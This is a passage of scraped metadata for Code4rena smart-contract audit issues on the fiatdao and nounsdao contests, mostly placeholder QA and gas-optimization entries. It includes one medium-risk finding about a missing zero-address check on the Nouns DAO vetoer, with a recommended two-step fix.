"https://github.com/code-423n4/2022-08-fiatdao-findings/issues/73", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/70", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/65", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/64", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/55", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/50", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/40", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/33", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/25", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/24", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/15", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/8", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/2", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/1", "labels": [], "target": "2022-08-fiatdao-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/411", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/407", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/406", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/405", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/404", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/400", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/399", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/398", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/392", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/388", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/387", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/386", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/385", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/384", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/383", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/381", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/379", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/377", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/375", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/374", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/373", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/372", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/370", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/369", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/366", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/362", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/361", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/359", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/358", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/357", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/355", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/354", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/352", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/347", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/345", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/344", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/343", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/342", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/340", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/339", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/337", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/336", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/335", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/333", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/332", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/331", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/330", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/328", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/326", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/319", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/317", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/316", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Loss of Veto Power can Lead to 51% Attack", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/315", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-nounsdao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV2.sol#L156 https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV1.sol#L150 https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV2.sol#L839-L845 https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV1.sol#L637-L643 # Vulnerability details ## Impact The veto power is import functionality for current NounsDAO in order to protect their treasury from malicious proposals. However there is lack of zero address check and lack of 2 step address changing process for vetoer address. This might lead to Nounders losing their veto power unintentionally and open to 51% attack which can drain their entire treasury. Refrence from Nouns DAO contest documents: https://dialectic.ch/editorial/nouns-governance-attack https://dialectic.ch/editorial/nouns-governance-attack-2 ## Proof of Concept Lack of 0-address check for vetoer address at initialize() and _setVetoer() of NounsDAOLogicV2.sol and NounsDAOLogicV1.sol. Also it is better to make changing address process of vetoer at _setVetoer() into 2-step process to avoid accidently setting vetoer to zero address or any other arbitrary addresses and end up burning/losing veto power unintentionally. 1. vetoer address of initialize() of NounsDAOLogicV2.sol, NounsDAOLogicV1.sol https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV2.sol#L156 https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV1.sol#L150 2. vetoer address of _setVetoer() of NounsDAOLogicV2.sol, NounsDAOLogicV1.sol https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV2.sol#L839-L845 https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/governance/NounsDAOLogicV1.sol#L637-L643 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add zero address check for vetoer address at initialize(). Also change _setVetoer() vetoer address changing process to 2-step process like explained below. First make the _setVetoer() function approve a new vetoer address as a pending vetoer. Next that pending vetoer has to claim the ownership in a separate transaction to be a new vetoer."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/312", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/311", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Dynamic quorum threshold may be abused as minority veto", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/310", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Dynamic quorum threshold may be abused as minority veto"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/309", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/308", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/307", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/306", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/305", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/304", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/301", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/300", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/298", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/297", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/296", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/295", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/294", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/293", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/292", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/290", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/288", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/287", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/286", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/285", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/274", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/272", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/271", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/269", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/267", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/264", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": 